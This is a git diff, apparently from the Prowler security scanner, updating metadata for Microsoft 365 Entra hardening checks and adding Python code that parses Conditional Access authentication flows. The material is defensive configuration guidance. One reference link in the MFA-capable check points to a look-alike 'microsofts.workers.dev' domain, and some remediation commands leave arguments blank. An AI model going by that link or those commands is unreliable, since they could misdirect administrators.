668bf253da..e127fb53e5 100644 --- a/prowler/providers/m365/services/entra/entra_password_hash_sync_enabled/entra_password_hash_sync_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_password_hash_sync_enabled/entra_password_hash_sync_enabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_password_hash_sync_enabled", - "CheckTitle": "Ensure that password hash sync is enabled for hybrid deployments.", + "CheckTitle": "Organization has password hash synchronization enabled for hybrid deployments", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Organization Settings", + "ResourceType": "NotDefined", "ResourceGroup": "governance", - "Description": "Ensure that password hash synchronization is enabled in hybrid Microsoft Entra deployments to facilitate seamless authentication and leaked credential protection.", - "Risk": "If password hash synchronization is not enabled, users may need to maintain multiple passwords, increasing security risks. Additionally, leaked credential detection for hybrid accounts would not be available, reducing the organization's ability to prevent account compromises.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs", + "Description": "Microsoft Entra hybrid tenants use **password hash synchronization** to replicate on-premises Active Directory password hashes to Entra for cloud authentication.\n\n*Applies to hybrid sync scenarios, not fully federated domains.*", + "Risk": "Without **password hash synchronization**, hybrid accounts lose **leaked credential detection** and cloud risk-based protections, weakening confidentiality. Authentication remains tied to on-prem services, reducing availability during outages. Users may reuse passwords across systems, increasing **credential stuffing** exposure.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs", + "https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-password-hash-synchronization" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "Set-ADSyncAADCompanyFeature -PasswordHashSync $true", "NativeIaC": "", - "Other": "1. Log in to the on-premises server hosting Microsoft Entra Connect. 2. Open Azure AD Connect and click Configure. 3. Select 'Customize synchronization options' and click Next. 4. Provide admin credentials. 5. On the Optional features screen, check 'Password hash synchronization' and click Next. 6. Click Configure and wait for the process to complete.", + "Other": "1. Sign in to the on-premises server running Microsoft Entra (Azure AD) Connect\n2. Open Azure AD Connect and select Configure\n3. Choose Customize synchronization options and click Next\n4. Sign in with a Global Administrator account\n5. On Optional features, check Password hash synchronization\n6. Click Configure and wait for completion", "Terraform": "" }, "Recommendation": { - "Text": "Enable password hash synchronization in Microsoft Entra Connect to streamline authentication and enhance security monitoring.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs" + "Text": "Enable **password hash synchronization** for hybrid identities and keep it active even alongside federation as a resilient fallback. Combine with **MFA**, **Conditional Access**, and strong password policy enforcement for **defense in depth**. Apply **least privilege** and monitor sign-in risk to prevent account compromise.", + "Url": "https://hub.prowler.com/check/entra_password_hash_sync_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json b/prowler/providers/m365/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json index c7b63cb0a2..038c72c510 100644 --- a/prowler/providers/m365/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json +++ b/prowler/providers/m365/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_policy_ensure_default_user_cannot_create_tenants", - "CheckTitle": "Ensure that 'Restrict non-admin users from creating tenants' is set to 'Yes'", + "CheckTitle": "Tenant restricts non-admin users from creating tenants", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "high", - "ResourceType": "Authorization Policy", + "Severity": "medium", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Require administrators or appropriately delegated users to create new tenants.", - "Risk": "It is recommended to only allow an administrator to create new tenants. This prevent users from creating new Azure AD or Azure AD B2C tenants and ensures that only authorized users are able to do so.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions", + "Description": "Microsoft Entra authorization policy defines default user permissions, including whether **non-admin users** are `allowed_to_create_tenants`. This evaluates if tenant creation is disabled for default users via `default_user_role_permissions`.", + "Risk": "Allowing default users to create tenants spawns unmanaged shadow tenants. Creators become **Global Administrator**, enabling escalation from compromised accounts and sidestepping governance. This degrades **confidentiality** and **integrity**, widens the **attack surface**, and introduces hidden costs.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions", + "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#tenant-creator" + ], "Remediation": { "Code": { - "CLI": "Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{ AllowedToCreateTenants = $false }", + "CLI": "Update-MgPolicyAuthorizationPolicy -AuthorizationPolicyId authorizationPolicy -DefaultUserRolePermissions @{ AllowedToCreateTenants = $false }", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com 2. Click to expand Identity > Users > User settings 3. Set 'Restrict non-admin users from creating tenants' to 'Yes' then 'Save'", + "Other": "1. Go to Microsoft Entra admin center: https://entra.microsoft.com\n2. Navigate to Identity > Users > User settings\n3. Set \"Restrict non-admin users from creating tenants\" to Yes\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enforcing this setting will ensure that only authorized users are able to create new tenants.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#tenant-creator" + "Text": "Enforce **least privilege**: set `allowed_to_create_tenants=false` so only authorized staff-or those with the **Tenant Creator** role-may create tenants. Use **separation of duties** and **PIM** for just-in-time access, and routinely review audit events (e.g., *Create Company*) to deter and detect misuse.", + "Url": "https://hub.prowler.com/check/entra_policy_ensure_default_user_cannot_create_tenants" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json b/prowler/providers/m365/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json index a5c9f3ad59..a2fd6f6ecf 100644 --- a/prowler/providers/m365/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json +++ b/prowler/providers/m365/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "entra_policy_guest_invite_only_for_admin_roles", - "CheckTitle": "Ensure that 'Guest invite restrictions' is set to 'Only users assigned to specific admin roles can invite guest users'", + "CheckTitle": "Tenant guest invitations are restricted to specific admin roles or disabled", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "medium", - "ResourceType": "Authorization Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Restrict invitations to users with specific administrative roles only.", - "Risk": "Restricting invitations to users with specific administrator roles ensures that only authorized accounts have access to cloud resources. This helps to maintain 'Need to Know' permissions and prevents inadvertent access to data. By default the setting Guest invite restrictions is set to Anyone in the organization can invite guest users including guests and non-admins. This would allow anyone within the organization to invite guests and non-admins to the tenant, posing a security risk.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/external-id/external-collaboration-settings-configure", + "Description": "Microsoft Entra authorization policy controls **guest invitations** via `guest_invite_settings`. It should be `adminsAndGuestInviters` or `none`, so only specific **administrative roles** can invite guests-or invitations are disabled.", + "Risk": "Unrestricted invites allow broad creation of external identities. A compromised user can onboard attacker-controlled guests, gaining ongoing access to teams, sites, and apps. This erodes **confidentiality**, enables **privilege abuse**, and complicates revocation and audit.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#guest-inviter", + "https://learn.microsoft.com/en-us/entra/external-id/external-collaboration-settings-configure", + "https://learn.microsoft.com/nb-no/Azure/active-directory/external-identities/external-collaboration-settings-configure", + "https://learn.microsoft.com/en-us/microsoft-365/solutions/limit-who-can-invite-guests?view=o365-worldwide" + ], "Remediation": { "Code": { - "CLI": "Update-MgPolicyAuthorizationPolicy -AllowInvitesFrom 'adminsAndGuestInviters'", + "CLI": "Update-MgPolicyAuthorizationPolicy -AuthorizationPolicyId authorizationPolicy -AllowInvitesFrom adminsAndGuestInviters", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com/. 2. Expand Identity > External Identities and select External collaboration settings. 3. Under Guest invite settings, set 'Guest invite restrictions' to 'Only users assigned to specific admin roles can invite guest users'. 4. Click Save.", + "Other": "1. Sign in to the Microsoft Entra admin center (https://entra.microsoft.com)\n2. Go to Entra ID > External Identities > External collaboration settings\n3. Under Guest invite settings, select \"Only users assigned to specific admin roles can invite guest users\" (or select \"No one in the organization can invite guest users\" to disable)\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict guest user invitations to only designated administrators or the Guest Inviter role to enhance security.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#guest-inviter" + "Text": "Apply **least privilege**: restrict invites to the **Guest Inviter** or designated admin roles (`adminsAndGuestInviters`), or disable invites (`none`).\n- Require approval and justification\n- Allowlist partner domains and use access reviews\n- Combine with Conditional Access and cross-tenant policies for defense in depth", + "Url": "https://hub.prowler.com/check/entra_policy_guest_invite_only_for_admin_roles" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json b/prowler/providers/m365/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json index 6e4055fadb..536f92ad5d 100644 --- a/prowler/providers/m365/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json +++ b/prowler/providers/m365/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "entra_policy_guest_users_access_restrictions", - "CheckTitle": "Ensure That 'Guest users access restrictions' is set to 'Guest user access is restricted to properties and memberships of their own directory objects'", + "CheckTitle": "Authorization policy restricts guest user access to properties and memberships of their own directory objects", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Authorization Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Limit guest user permissions.", - "Risk": "Limiting guest access ensures that guest accounts do not have permission for certain directory tasks, such as enumerating users, groups or other directory resources, and cannot be assigned to administrative roles in your directory. Guest access has three levels of restriction. 1. Guest users have the same access as members (most inclusive), 2. Guest users have limited access to properties and memberships of directory objects (default value), 3. Guest user access is restricted to properties and memberships of their own directory objects (most restrictive). The recommended option is the 3rd, most restrictive: 'Guest user access is restricted to their own directory object'.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/users/users-restrict-guest-permissions", + "Description": "Microsoft Entra **authorization policy** evaluates **guest user access restrictions** being set to the most restrictive level, where guests can view only their own directory object and related memberships (`Guest user access is restricted to properties and memberships of their own directory objects`).", + "Risk": "Without this restriction, guests can read broader directory metadata and group memberships, enabling reconnaissance that harms **confidentiality**. A compromised guest gains context for phishing and privilege escalation, risking unauthorized changes (**integrity**) and disruption of collaboration spaces (**availability**).", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions#member-and-guest-users", + "https://www.trendmicro.com/trendaivisiononecloudriskmanagement/knowledge-base/azure/ActiveDirectory/restrict-guest-user-access.html", + "https://learn.microsoft.com/en-us/entra/identity/users/users-restrict-guest-permissions" + ], "Remediation": { "Code": { - "CLI": "Update-MgPolicyAuthorizationPolicy -GuestUserRoleId ", + "CLI": "Update-MgPolicyAuthorizationPolicy -GuestUserRoleId '2af84b1e-32c8-42b7-82bc-daa82404023b'", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com/. 2. Expand Identity > External Identities and select External collaboration settings. 3. Under Guest user access, set 'Guest user access restrictions' to either 'Guest users have limited access to properties and memberships of directory objects' or 'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)'.", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center (https://entra.microsoft.com)\n2. Go to Identity > External Identities > External collaboration settings\n3. Under Guest user access, select: \"Guest user access is restricted to properties and memberships of their own directory objects\"\n4. Click Save", + "Terraform": "```hcl\nresource \"azuread_authorization_policy\" \"\" {\n guest_user_role_id = \"2af84b1e-32c8-42b7-82bc-daa82404023b\" # Critical: sets guests to the most restrictive role (own objects only)\n}\n```" }, "Recommendation": { - "Text": "Restrict guest user access in Microsoft Entra to limit the exposure of directory objects and reduce security risks.", - "Url": "https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions#member-and-guest-users" + "Text": "Set guest access to the most restrictive level (`Guest user access is restricted...`) to enforce **least privilege**.\n- Avoid assigning admin roles to guests\n- Use time-bound access with approvals\n- Apply **Conditional Access** and limit group visibility\n- Run periodic **access reviews** for **defense in depth**", + "Url": "https://hub.prowler.com/check/entra_policy_guest_users_access_restrictions" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json b/prowler/providers/m365/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json index c471a42cad..a0a61ed69c 100644 --- a/prowler/providers/m365/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json +++ b/prowler/providers/m365/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_policy_restricts_user_consent_for_apps", - "CheckTitle": "Ensure 'User consent for applications' is set to 'Do not allow user consent'", + "CheckTitle": "User consent for applications is set to 'Do not allow user consent'", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Authorization Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Require administrators to provide consent for applications before use.", - "Risk": "If Microsoft Entra ID is running as an identity provider for third-party applications, permissions and consent should be limited to administrators or pre-approved. Malicious applications may attempt to exfiltrate data or abuse privileged user accounts.", - "RelatedUrl": "https://learn.microsoft.com/en-gb/entra/identity/enterprise-apps/configure-user-consent?pivots=portal", + "Description": "Microsoft Entra **tenant settings** restrict **user consent to applications**, preventing end users from granting delegated permissions to apps on their behalf. Only **administrator-approved** or policy-allowed consents are permitted.", + "Risk": "Allowing end users to grant consent enables **consent phishing** and stealth access to mail, files, and directory data, impacting **confidentiality** and **integrity**. Attackers can obtain long-lived refresh tokens via `offline_access`, persist, and act as the user, evading detection.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-gb/entra/identity/enterprise-apps/configure-user-consent?pivots=portal", + "https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-user-consent" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "az rest --method patch --url https://graph.microsoft.com/v1.0/policies/authorizationPolicy/authorizationPolicy --body \"{\\\"defaultUserRolePermissions\\\":{\\\"permissionGrantPoliciesAssigned\\\":[\\\"ManagePermissionGrantsForOwnedResource.DeveloperConsent\\\"]}}\"", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center (https://entra.microsoft.com/); 2. Click to expand Identity > Applications and select Enterprise applications; 3. Under Security select Consent and permissions > User consent settings; 4. Under User consent for applications select Do not allow user consent; 5. Click the Save option at the top of the window.", + "Other": "1. Sign in to the Microsoft Entra admin center (https://entra.microsoft.com)\n2. Go to Identity > Applications > Enterprise applications\n3. Select Consent and permissions > User consent settings\n4. Under User consent for applications, select Do not allow user consent\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable user consent for applications in the Microsoft Entra admin center. This ensures that end users and group owners cannot grant consent to applications, requiring administrator approval for all future consent operations, thereby reducing the risk of unauthorized access to company data.", - "Url": "https://learn.microsoft.com/en-gb/entra/identity/enterprise-apps/configure-user-consent?pivots=portal" + "Text": "Disable broad user consent and require **admin approval** for app permissions. If consent is needed, allow only **verified publishers** and low-impact scopes via app consent policies, and enable the **admin consent workflow**. Apply **least privilege**, review grants, and revoke unused consents regularly.", + "Url": "https://hub.prowler.com/check/entra_policy_restricts_user_consent_for_apps" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_seamless_sso_disabled/entra_seamless_sso_disabled.metadata.json b/prowler/providers/m365/services/entra/entra_seamless_sso_disabled/entra_seamless_sso_disabled.metadata.json index 5393a6f810..17c92a4889 100644 --- a/prowler/providers/m365/services/entra/entra_seamless_sso_disabled/entra_seamless_sso_disabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_seamless_sso_disabled/entra_seamless_sso_disabled.metadata.json @@ -1,15 +1,15 @@ { "Provider": "m365", "CheckID": "entra_seamless_sso_disabled", - "CheckTitle": "Entra hybrid deployment does not have Seamless SSO enabled", + "CheckTitle": "Hybrid deployment does not have Seamless SSO enabled", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Directory Sync Settings", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "**Seamless Single Sign-On (SSO)** in hybrid Microsoft Entra deployments allows automatic authentication for domain-joined devices on the corporate network.\n\nThis check verifies the actual Seamless SSO configuration in directory synchronization settings. Modern devices with **Primary Refresh Token** (PRT) support no longer require Seamless SSO.", + "Description": "Microsoft Entra hybrid deployments use **Seamless Single Sign-On (SSO)** to allow automatic authentication for domain-joined devices on the corporate network.\n\nThis check verifies the actual Seamless SSO configuration in directory synchronization settings. Modern devices with **Primary Refresh Token** (PRT) support no longer require Seamless SSO.", "Risk": "Seamless SSO can be exploited for **lateral movement** between on-premises domains and Entra ID when an Entra Connect server is compromised. It can also be used to perform **brute force attacks** against Entra ID, as authentication through the AZUREADSSOACC account bypasses standard protections.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_service.py b/prowler/providers/m365/services/entra/entra_service.py index 45a6c7df08..c7af127bc8 100644 --- a/prowler/providers/m365/services/entra/entra_service.py +++ b/prowler/providers/m365/services/entra/entra_service.py @@ -172,6 +172,18 @@ class Entra(M365Service): conditional_access_policies_list = ( await self.client.identity.conditional_access.policies.get() ) + + # TODO: Remove this workaround once microsoft/kiota-python#515 is + # fixed and a new version of microsoft-kiota-serialization-json is + # released (see PR microsoft/kiota-python#516). At that point, use + # the SDK's native deserialization for authentication_flows instead. + # + # The SDK deserializer uses get_collection_of_enum_values for + # transferMethods, but the Graph API returns it as a single string + # (e.g., "deviceCodeFlow"), causing the SDK to return an empty list. + # We fetch the raw JSON to correctly parse transferMethods. + raw_auth_flows_map = await self._get_raw_authentication_flows() + for policy in conditional_access_policies_list.value: conditional_access_policies[policy.id] = ConditionalAccessPolicy( id=policy.id, @@ -301,6 +313,9 @@ class Entra(M365Service): ) ], ), + authentication_flows=self._parse_authentication_flows( + raw_auth_flows_map.get(policy.id) + ), ), grant_controls=GrantControls( built_in_controls=( @@ -446,6 +461,76 @@ class Entra(M365Service): ) return default_app_management_policy + async def _get_raw_authentication_flows(self) -> dict: + """Fetch authentication flows from the Graph API using a raw JSON request. + + TODO: Remove this method once microsoft/kiota-python#515 is fixed and + a new version of microsoft-kiota-serialization-json is released + (see PR microsoft/kiota-python#516). At that point, revert to using + the SDK's native deserialization via policy.conditions.authentication_flows. + + The SDK deserializer incorrectly handles the transferMethods field + (uses get_collection_of_enum_values for a single string value), + so we fetch the raw JSON to correctly parse it. + + Returns: + A dict mapping policy ID to the raw authenticationFlows dict. + """ + auth_flows_map = {} + try: + request_info = ( + self.client.identity.conditional_access.policies.to_get_request_information() + ) + request_info.headers.try_add("Prefer", "include-unknown-enum-members") + response = await self.client.request_adapter.send_primitive_async( + request_info, "bytes", {} + ) + if response: + data = json.loads(response) + for policy in data.get("value", []): + policy_id = policy.get("id") + auth_flows = policy.get("conditions", {}).get("authenticationFlows") + if policy_id and auth_flows: + auth_flows_map[policy_id] = auth_flows + except Exception as error: + logger.error( + f"{error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}" + ) + return auth_flows_map + + @staticmethod + def _parse_authentication_flows(auth_flows) -> "AuthenticationFlows | None": + """Parse authentication flows from a raw JSON dict. + + TODO: Remove this method once microsoft/kiota-python#515 is fixed and + revert to parsing the SDK's ConditionalAccessAuthenticationFlows object + directly (see PR microsoft/kiota-python#516). + + Args: + auth_flows: A dict from the raw JSON response (e.g., {"transferMethods": "deviceCodeFlow"}). + + Returns: + AuthenticationFlows object or None if not present. + """ + if not auth_flows: + return None + + transfer_methods = [] + raw_value = auth_flows.get("transferMethods") + if raw_value: + # The API may return a single string or a comma-separated value + methods = raw_value.split(",") if isinstance(raw_value, str) else raw_value + for method_str in methods: + method_str = method_str.strip() + try: + transfer_methods.append(TransferMethod(method_str)) + except ValueError: + logger.warning( + f"Unknown authentication flow transfer method: {method_str}" + ) + + return AuthenticationFlows(transfer_methods=transfer_methods) + @staticmethod def _parse_app_management_restrictions(restrictions): """Parse credential restrictions from the Graph API response into AppManagementRestrictions.""" @@ -888,6 +973,19 @@ class PlatformConditions(BaseModel): exclude_platforms: List[str] = [] +class TransferMethod(Enum): + """Transfer methods for authentication flows in Conditional Access policies.""" + + DEVICE_CODE_FLOW = "deviceCodeFlow" + AUTHENTICATION_TRANSFER = "authenticationTransfer" + + +class AuthenticationFlows(BaseModel): + """Model representing authentication flows conditions in Conditional Access policies.""" + + transfer_methods: List[TransferMethod] = [] + + class Conditions(BaseModel): application_conditions: Optional[ApplicationsConditions] user_conditions: Optional[UsersConditions] @@ -895,6 +993,7 @@ class Conditions(BaseModel): user_risk_levels: List[RiskLevel] = [] sign_in_risk_levels: List[RiskLevel] = [] platform_conditions: Optional[PlatformConditions] = None + authentication_flows: Optional[AuthenticationFlows] = None class PersistentBrowser(BaseModel): diff --git a/prowler/providers/m365/services/entra/entra_thirdparty_integrated_apps_not_allowed/entra_thirdparty_integrated_apps_not_allowed.metadata.json b/prowler/providers/m365/services/entra/entra_thirdparty_integrated_apps_not_allowed/entra_thirdparty_integrated_apps_not_allowed.metadata.json index 7d3f9a4ca8..bef11d3a45 100644 --- a/prowler/providers/m365/services/entra/entra_thirdparty_integrated_apps_not_allowed/entra_thirdparty_integrated_apps_not_allowed.metadata.json +++ b/prowler/providers/m365/services/entra/entra_thirdparty_integrated_apps_not_allowed/entra_thirdparty_integrated_apps_not_allowed.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_thirdparty_integrated_apps_not_allowed", - "CheckTitle": "Ensure third party integrated applications are not allowed", + "CheckTitle": "Authorization policy disallows app creation by non-admin users", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "User settings", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Require administrators or appropriately delegated users to register third-party applications.", - "Risk": "It is recommended to only allow an administrator to register custom-developed applications. This ensures that the application undergoes a formal security review and approval process prior to exposing Azure Active Directory data. Certain users like developers or other high-request users may also be delegated permissions to prevent them from waiting on an administrative user. Your organization should review your policies and decide your needs.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity-platform/how-applications-are-added#who-has-permission-to-add-applications-to-my-microsoft-entra-instance", + "Description": "Microsoft Entra **authorization policy** restricts registration of **third-party applications**, verifying that **non-admin users** cannot create app registrations and that only administrators or explicitly delegated roles can add integrated apps.", + "Risk": "Allowing users to create apps enables **consent phishing** and uncontrolled **service principals** with long-lived secrets, risking **data exfiltration** via over-privileged API access, **privilege escalation** through abused app permissions, and tenant **persistence**. This degrades confidentiality, integrity, and availability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/delegate-app-roles#restrict-who-can-create-applications", + "https://learn.microsoft.com/en-us/entra/identity-platform/how-applications-are-added#who-has-permission-to-add-applications-to-my-microsoft-entra-instance" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "Invoke-MgGraphRequest -Method PATCH -Uri 'https://graph.microsoft.com/v1.0/policies/authorizationPolicy/authorizationPolicy' -Body '{\"defaultUserRolePermissions\":{\"allowedToCreateApps\":false}}' -ContentType 'application/json'", "NativeIaC": "", - "Other": "1. From Entra select the Portal Menu 2. Select Azure Active Directory 3. Select Users 4. Select User settings 5. Ensure that Users can register applications is set to No", + "Other": "1. Sign in to the Microsoft Entra admin center\n2. Go to Identity > Users > User settings\n3. Set \"Users can register applications\" to \"No\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable third-party integrated application permissions unless explicitly required. If third-party applications are necessary, implement strict approval processes and security controls to mitigate risks associated with external integrations.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/delegate-app-roles#restrict-who-can-create-applications" + "Text": "Restrict app registration to administrators or narrowly scoped delegated roles, following **least privilege** and **separation of duties**. Require **admin consent** and formal review for external integrations, disable broad user consent, and audit app creations and permissions to enforce **defense in depth**.", + "Url": "https://hub.prowler.com/check/entra_thirdparty_integrated_apps_not_allowed" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_users_mfa_capable/entra_users_mfa_capable.metadata.json b/prowler/providers/m365/services/entra/entra_users_mfa_capable/entra_users_mfa_capable.metadata.json index e7a8ecce89..e2bf85355b 100644 --- a/prowler/providers/m365/services/entra/entra_users_mfa_capable/entra_users_mfa_capable.metadata.json +++ b/prowler/providers/m365/services/entra/entra_users_mfa_capable/entra_users_mfa_capable.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "entra_users_mfa_capable", - "CheckTitle": "Ensure all users are MFA capable", + "CheckTitle": "User is MFA capable", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Conditional Access Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure all users are being registered and enabled for multifactor authentication.", - "Risk": "Users who are not MFA capable are more vulnerable to account compromise, as they may rely solely on single-factor authentication (typically a password), which can be easily phished or cracked.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/authentication/concept-mfa-howitworks", + "Description": "Microsoft Entra users have a registered and enabled **multifactor authentication** method (`MFA capable`). The evaluation targets enabled accounts and identifies those lacking any usable second factor.", + "Risk": "Without **MFA**, accounts are vulnerable to **phishing**, **password spraying**, and credential reuse, enabling takeover. Attackers can access mail and files, change settings, and move laterally, harming **confidentiality**, **integrity**, and **availability** of M365 resources.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-userdevicesettings", + "https://www.cisa.gov/resources-tools/services/m365-entra-id", + "https://azure.microsofts.workers.dev/en-us/entra/identity/authentication/howto-mfa-userstates", + "https://learn.microsoft.com/en-us/entra/identity/authentication/concept-mfa-howitworks" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "New-MgUserAuthenticationPhoneMethod -UserId -PhoneType mobile -PhoneNumber \"+15555550100\"", "NativeIaC": "", - "Other": "Remediation steps will depend on the status of the personnel in question or configuration of Conditional Access policies. Administrators should review each user identified on a case-by-case basis.", + "Other": "1. In the Microsoft Entra admin center, go to Entra ID > Users\n2. Select the user marked as not MFA capable\n3. Select Authentication methods > + Add authentication method\n4. Choose Phone number, enter the number in E.164 format (e.g., +15555550100), and select Add\n5. Repeat for each failing user", "Terraform": "" }, "Recommendation": { - "Text": "Ensure all member users are MFA capable by registering and enabling a strong authentication method that complies with the organization's authentication policy. Regularly review user status to detect gaps in MFA deployment and correct misconfigurations.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/authentication/concept-mfa-howitworks" + "Text": "Enforce **MFA** for all enabled users, prioritizing **phishing-resistant** methods (`FIDO2`/`passkeys`/`CBA`) and limiting `SMS`/`voice`. Apply least privilege and require MFA for privileged roles. Require registration during onboarding and routinely review coverage to sustain defense-in-depth.", + "Url": "https://hub.prowler.com/check/entra_users_mfa_capable" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_users_mfa_enabled/entra_users_mfa_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_users_mfa_enabled/entra_users_mfa_enabled.metadata.json index 805372837d..016caac091 100644 --- a/prowler/providers/m365/services/entra/entra_users_mfa_enabled/entra_users_mfa_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_users_mfa_enabled/entra_users_mfa_enabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "entra_users_mfa_enabled", - "CheckTitle": "Ensure multifactor authentication is enabled for all users.", + "CheckTitle": "Multifactor authentication is enforced for all users", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": 